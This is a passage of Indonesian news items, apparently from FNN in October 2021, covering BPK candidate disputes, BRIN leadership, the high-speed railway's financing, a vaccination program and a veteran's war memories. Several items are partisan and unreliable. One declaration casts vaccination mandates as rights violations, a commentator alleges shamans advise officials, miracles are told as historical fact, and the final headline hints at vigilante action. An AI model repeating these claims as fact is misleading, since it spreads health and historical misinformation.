20-12-2019 yang bersangkutan adalah Kepala Kantor Pengawasan dan Pelayanan Bea Cukai Manado (Kepala Satker Eselon III), yang notabene adalah pengelola keuangan negara (Kuasa Pengguna Anggaran / KPA ). Sedangkan Harry Z. Soeratin pada Juli 2020 lalu dilantik oleh Menteri Keuangan sebagai Sekretaris Direktorat Jenderal Perimbangan Keuangan (DJPK), yang notabene merupakan jabatan KPA dalam arti yang bersangkutan bahkan masih menyandang jabatan KPAnya. Kedua orang tersebut harusnya tidak lolos seleksi karena bertentangan dengan Pasal 13 huruf j UU Nomor 15 Tahun 2006 tentang BPK yang mengatur : untuk dapat dipilih sebagai Anggota BPK, calon harus paling singkat telah 2 (dua) tahun meninggalkan jabatan sebagai pejabat di lingkungan pengelola keuangan negara. Ketentuan pengaturan ini mengandung makna bahwa seorang Calon Anggota BPK dapat dipilih untuk menjadi Anggota BPK, apabila Calon Anggota BPK tersebut telah meninggalkan jabatan (tidak menjabat) di lingkungan pengelola keuangan negara paling singkat 2 tahun terhitung sejak pengajuan sebagai Calon Anggota BPK. Bahwa pemaknaan terhadap Pasal 13 huruf j UU Nomor 15 Tahun 2006 juga disampaikan juga oleh Mahkamah Agung (MA) dalam suratnya nomor 118/KMA/IX/2009 tanggal 24 September 2009 berpendapat bahwa Pasal 13 huruf j UU Nomor 15 Tahun 2006 menentukan bahwa calon Anggota BPK telah meninggalkan jabatan di lingkungan Pengelola Keuangan Negara selama 2 (dua) tahun. Atas dugaan tidak memenuhi persyaratan tersebut, MAKI dan LP3HI telah mengajukan gugatan ke PTUN Jakarta. Gugatan ini bertujuan membatalkan surat tersebut dan termasuk membatalkan hasil seleksi calon anggota BPK yang tidak memenuhi persayaratan dari kedua orang tersebut. MAKI merasa perlu mengawal DPR untuk mendapatkan calon anggota BPK yang baik dan integritas tinggi termasuk tidak boleh meloloskan calon yang diduga tidak memenuhi persyaratan. Jika kedua orang ini tetap diloloskan dan dilantik dengan Surat Keputusan Presiden, MAKI juga akan gugat PTUN atas SK Presiden tersebut. (sws)

Masalah Besar, Pimpinan BRIN Tak Punya Reputasi Ilmiah

Jakarta, FNN - Anggota Komisi VII DPR RI Mulyanto menyebutkan tiga tantangan besar yang harus diselesaikan pascaterbentuknya Badan Riset dan Inovasi Nasional (BRIN). “Saya melihat sedikitnya ada tiga permasalahan besar yang tidak mudah diselesaikan BRIN kalau tidak ada konsolidasi yang kuat. Pertama, masalah kepemimpinan. Kedua, masalah kelembagaan dan ketiga masalah pelaksanaan program,” kata Mulyanto dalam keterangan tertulis di Jakarta, Senin. Mulyanto menjelaskan BRIN akan menghadapi masalah kepemimpinan karena saat ini para akademisi dan peneliti sudah terlanjur tidak percaya dengan kompetensi dan kapasitas kepemimpinan BRIN. "Kepemimpinan BRIN saat ini dinilai bersifat politis dan ideologis," ujar Mulyanto. Menurut Mulyanto para ahli mempertanyakan alasan pemerintah menjadikan anggota Dewan Pengarah Badan Pembina Ideologi Pancasila (BPIP) secara ex-officio sebagai Ketua Dewan Pengarah BRIN. Padahal kaitan BPIP dengan BRIN ini terpaut jauh. BRIN merupakan badan riset inovasi yang harusnya bekerja secara independen berdasarkan prinsip, metodologi ilmiah teknis yang objektif, dan rasional. Sementara BPIP sangat ideologis. "Kalau mau dicari-cari hubungannya, ya ada juga. Namun terlalu dipaksakan. Karena bukan hanya BRIN, semua kementerian dan lembaga secara filosofis, dasar hukumnya juga sudah berdasarkan Pancasila,” katanya. Mulyanto menegaskan ketua dewan pengarah BRIN adalah ketua umum partai politik yang dikenal tidak mempunyai reputasi ilmiah yang mumpuni. "Jadi menjadi wajar, kalau kita khawatir terjadi politisasi riset,” ujarnya. Selain itu, secara kelembagaan Mulyanto melihat BRIN akan menghadapi tantangan berat. Penggabungan Kemenristek, LPNK, dan badan litbang kementerian teknis ini bukan pekerjaan ringan, khususnya dalam mengatur susunan organisasi, tata kerja lembaga, dan membangun budaya kerja. Tugas pokok dan fungsi lembaga membengkak dan campur-aduk, mulai dari fungsi perumusan, penetapan sampai fungsi pelaksanaan kebijakan. Padahal lazimnya fungsi perumusan dan pelaksanaan kebijakan disusun dalam lembaga yang terpisah agar jelas membedakan antara tanggung jawab regulator dan "doers" (pelaksana). Selain itu, Mulyanto melihat BRIN akan mengalami kerumitan dalam aspek pelaksanaan. Dia mencontohkan penggabungan Badan Tenaga Nuklir Nasional (Batan) dan Lembaga Penerbangan dan Antariksa Nasional (Lapan). Mulyanto menegaskan Batan dan Lapan bukan sekadar lembaga penelitian. Memang mereka menjalankan fungsi penelitian di bidang ketenaganukliran dan bidang keantariksaan tetapi secara umum Batan dan Lapan adalah LPNK yang mengemban amanah strategis khusus. "Batan bertugas menyelenggarakan ketenaganukliran. Sementara Lapan bertugas menyelenggarakan keantariksaan dan penerbangan. Jadi, tugas kedua lembaga ini luas. Salah satu fungsinya saja melaksanakan penelitian,” ungkap Mulyanto. Baca juga: BRIN gelar pameran terbesar kendaraan listrik IEMS 2021 Menurut Mulyanto, penggabungan kedua lembaga besar ini akan mendatangkan masalah di kemudian hari karena lingkup pekerjaan Batan dan Lapan sangat rumit. Lembaga ini tidak berdiri sendiri melainkan harus mengikuti ketentuan internasional. Secara umum, Mulyanto prihatin kelembagaan ristek ini diotak-atik terlalu jauh. Padahal tantangan nasional saat ini sangat berat. Mulyanto mengungkapkan penilaian Global Inovation Index (GII) Tahun 2021 kinerja riset dan invovasi Indonesia sudah berada di bawah Brunei dan Vietnam, bahkan Philipina. (ant, sws)

Penyanyi Malaysia dan Australia Diblokir Partai Komunis Cina

Beijing, FNN - Penyanyi Malaysia dan Australia dihilangkan dari platform media sosial China, Minggu (17/8), setelah merilis sebuah lagu yang dianggap mengandung unsur penghinaan. Lagu romantis berjudul "Fragile" yang dirilis pada Jumat (15/8) dianggap menghina masyarakat China. Dalam video tersebut digambarkan seekor panda yang terus menari dengan latar belakang warna merah jambu atau pink. Warna tersebut melambangkan "Little Pink" yang biasa digunakan oleh media untuk merujuk pada anak muda patriotik China yang siap menghadapi berbagai kritikan di jagat media daring. Di awal video penyanyi Malaysia itu terdapat keterangan "Harap berhati-hari jika Anda adalah pink yang rapuh". Wee Meng Chee yang memiliki nama panggung Namewee adalah seorang penyanyi dan penulis lagu berdarah Malaysia-China. Pada Agustus lalu, akun Namewee di Weibo diblokir karena komentar sarkastik tentang Partai Komunis China (CPC), demikian Global Times, Senin. Kemudian dia kembali meregistrasi akun Weibo, namun juga kembali diblokir setelah mengunggah lagu barunya itu. Sementara itu, Kimberly Chen yang pernah mengikuti ajang pencarian bakat di China, akunnya juga diblokir setelah rilis lagu "Fragile" tersebut karena mendukung kelompok separatisme. Akun kelompok penggemar penyanyi berdarah Australia-China itu di Weibo juga turut diblokir. Konten musik kedua artis tersebut sudah tidak lagi bisa ditemukan di sejumlah platform musik China. ( ant, sws)

Abai Terhadap Aturan WADA, Indonesia Bakal Makin Tenggelam

Jakarta, FNN - Publik Indonesia digegerkan oleh tragedi pelarangan pengibaran bendera Merah Putih ketika tim Indonesia meraih juara pertama Thomas Cup di Aarhus, Denmark Minggu (17/10/2021). Pelarangan ini berkaitan dengan sanksi yang diberikan oleh Lembaga Anti Doping Internasional (World Anti Doping Agency) kepada pemerintah Indonesia. WADA memberikan waktu kepada Pemerintah Indonesia untuk memperbaiki sanksi sejak 15 September 2021 hingga 7 Oktober 2021. Namun waktu yang diberikan tidak dimanfaatkan dengan baik. Akibatnya fatal, Merah Putih tidak bisa berkibar meskipun meraih juara. Tak hanya itu, ada kemungkinan Indonesia bakal mendapat hukuman yang lebih berat lagi, bila tetap tidak mengindahkan ketentuan dari badan anti doping dunia tersebut, yakni atlet kita dilarang membawa nama negara dan Indonesia dilarang menyelenggarakan berbagai event olah raga dunia. Dan sejumlah sanksi lain, yang bakal sangat merugikan dunia olahraga di Tanah Air. Apa saja? Ikuti wawancara dengan Ketua Lembaga Anti Doping Indonesia (LADI) Periode 2017-2020 dr Zaini Kadhafi Saragih Sp.KO dengan Hersubeno Arief di kanal Hersubeno Point' jaringan FNN. Simak tayangannya. https://youtu.be/7tRvQUwY79c

MPUI-I Keluarkan 'Seruan Jogjakarta'

Jogjakarta, FNN - Majelis Purmusyawaratan Ummat Islam Indonesia (MPUI-I) telah melakukan Sidang Umum, Seminar dan Lokakarya Problematika Ummat Pasca Pandemi pada 15-16 Oktober 2021 di Hotel Satya Graha, Jogjakarta. Dihadiri oleh para anggota MPUI-I dari 19 provinsi di Indonesia, dari NAD hingga Papua Barat, dari Nusa Tenggara hingga Maluku Utara. Setelah mencermati dinamika kehidupan berbangsa dan bernegara selama beberapa tahun terakhir ini, dengan tetap bertawakkal pada Allah SWT, MPUI-I menyatakan sikap sebagai berikut: Kudeta konstitusional melalui rangkaian amandemen serampangan dan penyusunan berbagai undang-undang telah terjadi sebagai bentuk pengkhianatan atas amanat para pendiri bangsa sebagaimana dinyatakan dalam Pembukaan UUD45 yang ditetapkan pada 18 Agustus 1945 dan diberlakukan kembali dengan Dekrit Presiden 5 Juli 1959. Kudeta konstitusi itu segera diikuti oleh rangkaian maladministrasi publik secara luas dimana undang-undang diciptakan dan ditafsirkan untuk kepentingan kekuasaan, bukan untuk kepentingan publik. Tugas-tugas negara untuk melindungi segenap bangsa dan tanah tumpah darah Indonesia, memajukan kesejahteraan umum, mencerdasakan kehidupan bangsa dan ikut serta dalam menciptakan perdamaian dunia telah diselewengkan sehingga kehidupan berbangsa dan bernegara semakin jauh dari cita-cita proklamasi kemerdekaan. Diskriminasi hukum telah terjadi semakin sistemik, termasuk pelanggaran HAM berat oleh aparat keamanan tanpa koreksi efektif sehingga membahayakan prinsip-prinsip Republik. Penegakan hukum oleh aparat penegak hukum telah berlangsung secara tidak adil dan semena-mena. Pemerintah semakin memanipulasi hukum untuk kepentingan kekuasaan atau to rule by law. Kehidupan ekonomi yang tidak berkeadilan, pendidikan yang tidak memerdekakan, dan kehidupan sosial budaya yang menghinakan dan politik yang tidak membawa kebajikan publik memerlukan perubahan-perubahan mendasar konstitusional untuk diselaraskan kembali sesuai amanah Proklamasi. Pernyataan public health emergency of international concern oleh WHO dan semua protokolnya telah diadopsi oleh Pemerintah tanpa melalui wacana publik yang memadai sehingga telah menyebabkan kerusakan ekonomi, sosial dan budaya serta pendidikan dengan konsekuensi jangka panjang yang luas yang berpotensi membahayakan kedaulatan dan merusak bonus demografi. Pemaksaan berbagai protokol kesehatan, termasuk vaksinasi, telah merampas hak-hak warga negara yang merdeka. Untuk itu MPUI-I dengan semangat setia pada kebenaran menyerukan agar: Pemerintah segera menghentikan kudeta konstitusional dan banyak maladministrasi publik ini yang telah mengancam amanat para pendiri bangsa dan negara Republik Indonesia. Menghentikan diskriminasi hukum dan melakukan proses penegakan hukum yang adil. *Pelanggaran HAM berat atas 6 laskar FPI di KM50 perlu segera diselesaikan tuntas secara terbuka*. Pengadilan atas Habib Rizieq Shihab harus dilakukan dengan adil. MPUII akan mengambil peran sebagai *sahabat keadilan amicus curiae bagi setiap warga negara untuk memastikan proses penegakan hukum yang adil dan beradab serta prinsip equality before the law, dan rule of law. Tatakelola dan manajemen Covid-19 dievaluasi dan dirumuskan kembali dengan semakin mengedepankan politik kesehatan yang sesuai dengan amanah konstitusi, bukan untuk kepentingan sekelompok orang dan industri kesehatan asing, serta tidak merampas kebebasan sipil. Menyerukan pada seluruh bangsa, terutama ummat Islam, untuk tetap bersandar pada Allah swt dengan hidup sederhana, menjauhi hutang dan praktek ribawi, menjauhi kemaksiatan, meningkatkan ukhuwah, membangun ekonomi komunitas, menguatkan peran pendidikan keluarga dan masjid, menjaga persatuan bangsa, meningkatkan kewaspadaan atas ancaman kekuatan-kekuatan nekolimik, dan menkonsolidasikan serta mensinergikan semua potensi ummat untuk menjaga kedaulatan NKRI. Jogjakarta, 17/10/2021. (mth)

BKD Jatim Wajibkan ASN "Live Location" Saat Libur Maulid Nabi

Surabaya, FNN - Badan Kepegawaian Daerah Provinsi Jawa Timur mewajibkan aparatur sipil negara (ASN) di lingkungan pemerintah setempat mengirim live location melalui aplikasi WhatsApp saat libur Maulid Nabi Muhammad SAW. "Ini sekaligus mengantisipasi bepergian ke luar kota. Nanti dikirimnya ke grup WA masing-masing dinas," ujar Kepala BKD Jatim Indah Wahyuni ketika dikonfirmasi wartawan di Surabaya, Senin. Kebijakan tersebut sebagai tindak lanjut imbauan Pemerintah Pusat terkait pergeseran hari libur dalam rangka Maulid Nabi Muhammad SAW, dari Selasa (19/10) ke Rabu (20/10). Artinya, kata dia, seluruh ASN wajib masuk seperti biasa pada Selasa, lalu libur pada keesokan harinya. Tindak lanjut tersebut juga diikuti melalui Surat Edaran Gubernur Jatim Nomor 850/3695/204.3/2021 tentang Libur Nasional dan Cuti Bersama Tahun 2021. Sebelumnya, Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (PANRB) mengingatkan larangan ASN untuk cuti dan bepergian saat libur Maulid pada 18-22 Oktober 2021. "19 Oktober nanti adalah Maulid Nabi Muhammad SAW. Namun, libur peringatannya adalah pada 20 Oktober 2021. Berdasarkan SE Menteri PAN-RB Nomor 13/2021 ASN dilarang bepergian dan cuti selama 18-22 Oktober 2021," tulis laman Instagram Kemenpan RB. Kemenpan RB juga mengingatkan sanksi yang bisa diterima oleh ASN yang masih melanggar aturan cuti dan bepergian pegawai ASN selama hari libur nasional 2021 dalam masa pandemi COVID-19. Sementara itu, Wakil Presiden Ma’ruf Amin mengatakan, keputusan Pemerintah menggeser hari libur Maulid Nabi atau Hari Kelahiran Nabi Muhammad SAW dari Selasa (19/10) menjadi Rabu (20/10) bertujuan untuk mengantisipasi kemungkinan lonjakan kasus COVID-19 di Indonesia. "Kami menggeser itu untuk menghindari masyarakat memanfaatkan hari kejepit itu, sehingga orang keterusan (liburan). Oleh karena itu, kami coba (menggeser) itu, walaupun memang (kasus COVID-19) sudah rendah, tapi tetap antisipatif," kata Wapres. (mth)

Kejati Periksa Intensif Dua Anggota DPRD Saksi Kasus Masjid Sriwijaya

Palembang, FNN - Penyidik Kejaksaan Tinggi Sumatera Selatan memeriksa intensif dua orang mantan anggota DPRD provinsi ini sebagai saksi terkait kasus dugaan tindak pidana korupsi dana hibah pembangunan Masjid Raya Sriwijaya Palembang, Senin. Dua anggota DPRD tersebut, yakni Yansuri Wakil Ketua DPRD Sumsel 2014-2019 dan M. F. Ridho Ketua Komisi lll DPRD Sumatera Selatan 2014-2019. Kepala Seksi Penerangan Hukum Kejaksaan Tinggi Sumatera Selatan Khaidirman di Palembang mengatakan, masing-masing saksi diperiksa oleh penyidik secara bergantian dengan jumlah lebih kurang 32 pertanyaan di ruang Lantai Enam Gedung Kejaksaan Tinggi selama enam jam. “Salah satu poin pertanyaan dalam pemeriksaan ini seputar kelengkapan administrasi pembangunan masjid seperti proposal dana hibah,” kata dia. Menurutnya, keterangan dari saksi tersebut dibutuhkan untuk melengkapi berkas perkara atas enam tersangka masing-masing Muddai Madang, Laoma L Tobing, Loka Sangganegara, Akhmad Najib, Agustinus Antoni, dan Alex Noerdin. “Tentu penyidik memiliki penilaian sendiri. Sementara itu yang bisa disampaikan,” ujarnya. Dalam kesempatan in seharusnya, lanjut dia, ada lima orang saksi yang diminta untuk hadir, antara lain, Agus Sutikno Komisi III DPRD Provinsi Sumatera Selatan Tahun 2014-2019, Chairul S. Matdiah Wakil Ketua DPRD Provinsi Sumatera Selatan Tahun 2014-2019, dan Mantan Direktur Utama PT Brantas Abipraya (Persero) Bambang E Marsono. Namun sampai saat ini dua orang saksi tidak hadir tanpa keterangan dan satu orang saksi tidak hadir dengan alasan sakit. Saksi Yansuri mengatakan ada banyak pertanyaan yang disampaikan oleh penyidik kepada mereka, salah satunya terkait legalitas proposal. Seperti diketahui dalam pembangunan Masjid Raya Sriwijaya tersebut pihak pertama, yakni pemerintah dan pihak kedua Yayasan Wakaf Masjid tidak melampirkan proposal dalam rapat badan anggaran di DPRD Sumatera Selatan. “Lebih jelasnya nanti tanyakan saja dengan penyidik. Poinnya kapasitas kami ditanyakan seputar administrasi,” tandasnya. (mth)

Gawat, Presiden Jokowi Juga Terjebak Pinjaman Online Sampai Kiamat Tak Mampu Bayar

Jakarta, FNN - Penggerebekan kantor pinjol (pinjaman online) oleh polisi tengah dilakukan secara masif di berbagai daerah. Penggerebekan ini dilakukan setelah Presiden Joko Widodo (Jokowi) menyoroti pinjol ilegal yang meresahkan dan menyengsarakan masyarakat. Perintah Presiden lalu ditindaklanjuti Kapolri Jenderal Listyo Sigit Prabowo dengan memerintahkan jajarannya untuk bertindak. "Kejahatan pinjol ilegal sangat merugikan masyarakat sehingga diperlukan langkah penanganan khusus. Lakukan upaya pemberantasan dengan strategi preemtif, preventif, maupun represif," kata Sigit dalam memberikan pengarahan kepada Polda jajaran melalui video conference di Mabes Polri seperti dalam keterangan tertulis, minggu lalu. Dari hasil opearsi di Jogjakarta polisi mengamankan sejumlah barang bukti dan mengamankan 89 pegawai kantor pinjol ilegal itu untuk dimintai keterangan. Polisi juga menemukan 23 aplikasi pinjaman online ilegal dalam perusahaan yang digerebek itu. Bahaya pinjol yang lebih besar akan mengancam rakyat Indonesia, yakni pinjol yang dilakukan oleh Presiden Jokowi dalam proyek Kereta Cepat Jakarta Bandung. “Secara diam-diam akan berlangunsg di dalam proyek keret api cepat. Ini juga pinjol yang karena ketidakmampuan, kemudian di-backup negara,” kata pengamat politik Rocky Gerung kepada Hersubeno Arief dalam kanal Rocky Gerung Official jaringan FNN, Minggu (17/10/2021). Ketidakmampuan bayar oleh perusahaan besar, kata Rocky pernah dialami oleh Inggris dan Perancis, karena skala ekonomi tidak dihitung. “Concord salah hitung,” paparnya. Dalam kasus KCB, lanjut Rocky, Indonesia tak hanya salah hitung, tetapi dipaksakan. Bahkan kemudian dipaksaan melalui APBN. Semua terbaca dengan jelas, sejak awal jaman Menteri BUMN Rini Soemarno, proyek ini sudah ditolak. Bahkan konsultan internasiona Boston Consulting waktu itu disewa oleh pemerintah sudah menyarakan agar proyek ini tidak diteruskan. Tak hanya itu, seluruh ekonom Indonesia juga sudah bersepakat bahwa proyek ini tidak layak diteruskan. Pertanyaannya, kalau ternyata diteruskan, itu hasil rekomendasi dari mana. Rocky mempertanyakan, kalau secara hitungan ekonomi tidak memungkinkan, berarti ada kalkulasi lain, yakni arogansi dan ambisis presiden Jokowi. Itu dasarnya. Atau memang Presiden Jokowi dibisiki oleh dukun-dukun supaya proyek itu tetap diteruskan, karena itu nanti akan menjadi pamer keberhasilan dia. Rocky juga menyayangkan Menteri Keuangan Sri Mulyani yang tidak bersuara atas proyek janggal ini. “Di sini seharusnya Menteri Keuangan memberikan komentar, karena dia kan kasir yang mengeluarkan uang negara. Dia sebetulnya tahu tidak layak secara ekonomis, tetapi kayaknya Sri Mulyani kena sihir dukun juga. Ia mengiyakan saja, hak rakyat untuk memperoleh kesejahteraan diambil dulu untuk membiayai proyek –proyek yang bakal mengalami Concord failed ini,” tegas Rocky. Rocky menduga, dukun-dukun itu sudah beroperasi di lima titik singgah dari Jakarta-Bandung. Ada dukun yang menunggu di Walini, Meikarta, dan lain-lain pokoknya ada 5 titik lokasi. Mereka akan bikin sodetan untuk mampir di lokasi dukun-dukun itu. Ada perdukunan properti, perdukunan resort dan lainnya. Rocky menegaskan talangan APBN untuk proyek ambisius kereta cepat Jakarta Bandung itu semacam fallacy of fallacy. “Nanti akan ada olok-olok lagi Jokowi The King of Fallacy. Saat ini kita sebetulnya sedang menyaksikan satu koordinasi buruk yang dipamerkan langsung telanjang dan dunia intetrnasional tahu bahwa ini adalah main-main,” katanya geram. Kenapa buruk, sebab sejarahnya sejak awal sudah terbaca. “Awalnya dari Jepang lalu karena ada lobi politik lalu pindah ke Cina. Lalu ada yang bilang Jepang pelit untuk transfer teknologi. Padahal itu teknologi gampang. Mungkin dalam empat tahun ke depan teknologi itu sudah usang karena invoasi selalu berkembang. Jadi, tidak ada alasan keculai dukun-dukun itu memang ingin merampok jalur transportasi itu,” tegasnya. Yang jelas, lanjut Rocky proyek ini harus dibatalkan, tidak ada alasana lain untuk dilanjutkan. “Tidak ada suatu rasionale atau pembenaran terhadap proyek itu kecuali ambisi atau sudah dikoletktif terlebih dulu oleh oligarki. Untungnya sudah diambil duluan di depan. Oleh karena itu harus ditaruh orang yang mengerti perdukunan cash back. Yang ahli dan tahu seluk beluk cash back ya Pak Luhut,” katanya. Dalam kasus Kereta Cepat, kata Rocky Pak Luhut tidak main-main. Ia serius mengurus kereta cepat. “Kita tidak tahu apakah penyelesainnya menunjuk Concord Fallacy atau bagaimana,” paparnya. Ekonomi daru Inversitas Indonesia Faisal Basri sebelumnya memasukkan proyek kereta cepat Jakarta-Bandung sebagai proyek yang mubazir. Menurutnya, sampai kapanpun proyek ini tidak balik modal. "Sebentar lagi rakyat membayar kereta cepat. Barang kali nanti tiketnya Rp 400 ribu sekali jalan. Diperkirakan sampai kiamat pun tidak balik modal," tegasnya dalam dialog bertajuk COVID-19 dan Ancaman Kebangkrutan Dunia Usaha, Rabu (13/10/2021). Diketahui, pemerintah telah memutuskan penggunaan dana APBN dalam pembiayaan kereta cepat Jakarta – Bandung pasca Presiden Jokowi menandatangani Peraturan Presiden Nomor 93 Tahun 2021 yang merupakan perubahan atas Perpres Nomor 107 Tahun 2015 tentang Percepatan Penyelenggaraan Prasarana dan Sarana Kereta Cepat Jakarta Bandung. Perpres yang diteken pada 6 Oktober 2021 ini menyebutkan pembiayaan dari APBN dilakukan dengan Penyertaan Modal Negara (PMN) kepada pimpinan konsorsium dan penjaminan kewajiban pimpinan konsorsium. Persoalan lain yang patut ditelisik oleh Badan Pemeriksa Keuangan (BPK), adalah terkait membangkaknya dana investasi yang tadinya Rp86,67 triliun menjadi Rp114,24 triliun. (sws) Lihat videonya: https://www.youtube.com/watch?v=mOiLNBfNXxc

Munadi Herlambang Konsultasi ke KPK Cegah Korupsi Program Vaksinasi

Jakarta, FNN - Direktur Hubungan Kelembagaan PT Jasa Raharja Munadi Herlambang melakukan temu konsultasi dengan petinggi Komisi Pemberantasan Korupsi (KPK) sebagai upaya pencegahan korupsi pada program Vaksinasi COVID-19. Dalam keterangan tertulis di Jakarta, Senin, Munadi mengatakan bahwsa pihaknya memastikan pelaksanaan program Vaksinasi Merdeka JRKu yang telah digelar di beberapa kota dapat bebas dari korupsi dan sesuai dengan kaidah good corporate governance. "Kami merasa perlu berkonsultasi dengan KPK meskipun program vaksinasi sudah diaudit oleh kantor akuntan publik independen," kata Munadi. Munadi bertemu langsung dengan Deputi Pencegahan dan Monitoring KPK Pahala Nainggolan yang didampingi oleh Direktur Antikorupsi Badan Usaha Aminudin. Ia menjelaskan bahwa program Vaksinasi Merdeka JRKu menargetkan 134.883 orang di seluruh Indonesia. Program ini merupakan bagian dari program Tanggung Jawab Sosial Lingkungan (TJSL). Dalam pelaksanaannya, kata dia, mengacu pada Peraturan Menteri BUMN Nomor PER-05/MBU/04/2021 tentang Program Tanggung Jawab Sosial dan Lingkungan BUMN, berpedoman pada ISO 26000, dan berorientasi terhadap pencapaian tujuan pembangunan berkelanjutan (TPB). Program ini disertai pembagian sembako sebanyak 3.699 paket dan buah nusantara. Kegiatan vaksinasi dilakukan dengan menggandeng beberapa mitra, antara lain Biddokkes, DInas Kesehatan, pemerintah setempat, kepolisian, dan dinas perhubungan. Munadi mengatakan bahwa Jasa Raharja menanggung biaya penyelenggaraan vaksin, pembelian sembako, dan buah nusantara serta transportasi dan akomodasi nakes. Menurut dia, hingga kini program ini telah memvaksinasi sebanyak 40.113 orang di 19 lokasi se-Indonesia. Ia menegaskan bahwa Jasa Raharja masih akan terus melanjutkan program Vaksinasi Merdeka JRKu dengan target 134.883 orang. Adapun lokasi sasarannya adalah di DKI Jakarta sebanyak 1.415 orang, Jawa Barat sebanyak 3.000 orang, Jawa Tengah sebanyak 35.500 orang, Jawa Timur sebanyak 23.467 orang, Yogyakarta sebanyak 25.551 orang, Bali sebanyak 16.632 orang, Banten sebanyak 368 orang, dan Lampung sebanyak 25.000 orang. Selanjutnya, Sumatera Utara sebanyak 1.000 orang, Kepulauan Riau sebanyak 1.200 orang, Riau sebanyak 100 orang, Papua sebanyak 550 orang, Sulawesi Utara sebanyak 100 orang, dan Nusa Tenggara Barat sebanyak 1.000 orang. (mth)

Sejarah yang Tertinggal: KH Hasyim Asy’ari Panglima Perang

Ponorogo, FNN – Beberapa waktu lalu, seperti dikutip NU Online Ponorogo Jawa Timur bahwa KH Abdul Mun’im DZ dan KH Adnan Anwar dari PBNU mengunjungi rumah Mbah Syukri (usia 102 tahun), salah seorang santri KH Hasyim Asy’ari di Desa Carangrejo, Kecamatan Sampung, Ponorogo. Mbah Syukri bersedia menuturkan kisah-kisah perjuangan yang dialaminya bersama Laskar Hizbullah di bawah komando Hadratusy Syaikh KH Hasyim Asy’ari saat berjuang melawan tentara Sekutu, Belanda, dan Jepang jelang kemerdekaan. Mbah Syukri menuturkan, perjumpaan dengan Mbah Hasyim berawal dari rekruitmen Laskar Hizbullah di Ponorogo. Ia mendaftarkan dirinya bersama dengan beberapa rekan lainnya. Seperti Mbah Kayubi, Mbah Walidu, Mbah Sadimun serta beberapa rekan lainnya. Dari Ponorogo, pasukan diberangkatkan ke Surabaya dan sebagian disebar ke Sidoarjo. “Mbah Hasyim riyin niku keliling muteri anak buahe terus. Ati-ati, kudu waspodo lho yo. Ojo lengah. Ngoten dawuhe Mbah Hasyim teng anak buahe,” ujarnya dalam bahasa Jawa kental. Dalam bahasa Indonesia, “Mbah Hasyim dulu itu keliling. Mengecek anak buahnya terus. Hati-hati, harus waspada lho ya. Jangan sampai lengah. Begitu perintah Mbah Hasyim kepada pasukannya,” kenang Mbah Syukri. Mbah Hasyim, lanjutnya Mbah Syukri, keliling dengan mengendarai jeep terbuka. Ditemani seorang sopir dan satu orang ajudannya, Mbah Hasyim mempimpin langsung di setiap pertempuran. Pernah ada kejadian di Surabaya, Mbah Hasyim yang sedang di atas mobil jeep diberondong pasukan Belanda. Mbah Hasyim lantas membentangkan sarungnya. Tiba-tiba, sarung itu berubah jadi tameng layaknya perisai baja yang anti peluru. “Pelurune niku gepeng-gepeng kelet teng sarunge. Lho niki sanes dongeng, wong kulo ngertos piyambak (Pelurunya itu gepeng menempel di sarungnya. Ini bukan dongeng, karena saya tahu sendiri),” tutur Mbah Syukri. Kisah lainnya yang diingat Mbah Syukri adalah tertinggalnya 1600 pasukan Jepang di daerah Porong. Pasukan itu bersembunyi di suatu tempat sejenis bunker. Tak ada satupun warga yang tahu. Keberadaan mereka baru terbongkar ketika koki pasukan itu kehabisan bahan makanan dan berbelanja ke pasar. Melihat banyaknya bahan yang dibeli, ada yang curiga. Dan setelah didesak akhirnya mengaku bahwa bahan itu untuk mencukupi kebutuhan pasukan Jepang yang jumlahnya 1600 orang. Pengakuan ini membuat warga gempar sekaligus gelisah. Tapi, tidak satupun warga yang berani mendekat. Bahkan pejabat setempat pun tidak tahu harus bagaimana. Sampailah informasi ini ke Bupati Sidoarjo. Sama dengan lainnya, Bupati Sidoarjo pun merasa kebingungan. Salah seorang pejuang Laskar Hizbullah memberikan saran. “Nek kulo gampil. Niki sing saged ngatasi namung Mbah Hasyim (Kalau saya gampang. Yang bisa menyelesaikan masalah ini hanya Mbah Hasyim),” kata Mbah Syukri menirukan saran rekannya untuk Bupati Sidoarjo. Akhirnya, Bupati Sidoarjo mengirim utusan untuk sowan ke Mbah Hasyim di Tebuireng. Setelah mendapat laporan, Mbah Hasyim langsung meluncur ke Sidoarjo menemui Laskar Hizbullah. Mbah Hasyim mengajak pasukannya untuk mujahadah dengan membaca wirid sembari berdo’a dari jam 11 siang hingga jam 11 malam. Ajaibnya, pasukan Jepang yang bersembunyi di bunker itu satu persatu keluar dari persembunyian karena diserang jutaan semut angkrang. Para pejuang Laskar Hizbullah langsung memanfaatkan momentum itu untuk menangkap pasukan Jepang tanpa perlawanan. Bahkan, tanpa pertumpahan darah setetespun. Kyai Mun’im mengatakan, kesaksian dari para santri dan pejuang Laskar Hizbullah diharapkan bisa meluruskan sejarah yang ada. Pasalnya, selama ini sosok Mbah Hasyim dikisahkan sebagai seorang kyai pesantren yang hanya mengeluarkan fatwa. “Padahal menurut kesaksian para santri yang berhasil kita temui, tidak begitu. Mbah Hasyim itu betul-betul seorang jendral lapangan yang sangat ahli dalam pertempuran. Beliau turun langsung,” tegasnya. Hal senada juga ditegaskan oleh Kyai Adnan. Bahkan, Mbah Hasyim juga membaca tanda-tanda alam ketika merumuskan strategi perang. “Dipelajari betul itu sama Mbah Hasyim. Bukan hanya paham strategi, tapi juga mampu membaca tanda-tanda alam. Perang Surabaya misalnya, itu pakai strategi perang Majapahit,” ungkap Kyai Adnan. “Makanya orang yang paling tahu siapa itu pembunuh Mallaby, ya Mbah Hasyim. Ada semua itu bukti-bukti yang menunjukkan bahwa beliau betul-betul ahli strategi perang,” lanjutnya. Mbah Syukri membenarkan pandangan tersebut. Ia bahkan dengan lugas mengatakan, “Seandainya tidak ada Mbah Hasyim, mungkin kemerdekaan Indonesia itu masih lama. Bisa merdeka, tapi lama,” katanya. Mbah Syukri mengakhiri perbincangan dengan sebuah kalimat pendek yang cukup layak menjadi bahan renungan bagi generasi sekarang. “Kami-kami ini yang berjuang mati-matian. Dan sekarang kalian semua yang menikmati. Bisa makan enak, naik mobil, jalan-jalan,” sindir Mbah Syukri sembari tertawa terkekeh. Mbah Syukri adalah salah seorang pejuang Laskar Hizbullah yang menolak didaftarkan sebagai veteran perang. Ia meyakini bahwa perjuangan itu ada ‘upah’nya sendiri kelak di kehidupan berikutnya. (mth)

Tangkap Komedian Songong Si Penghina Habib Rizieq, Jika Tidak Ingin Umat Bertindak Sendiri

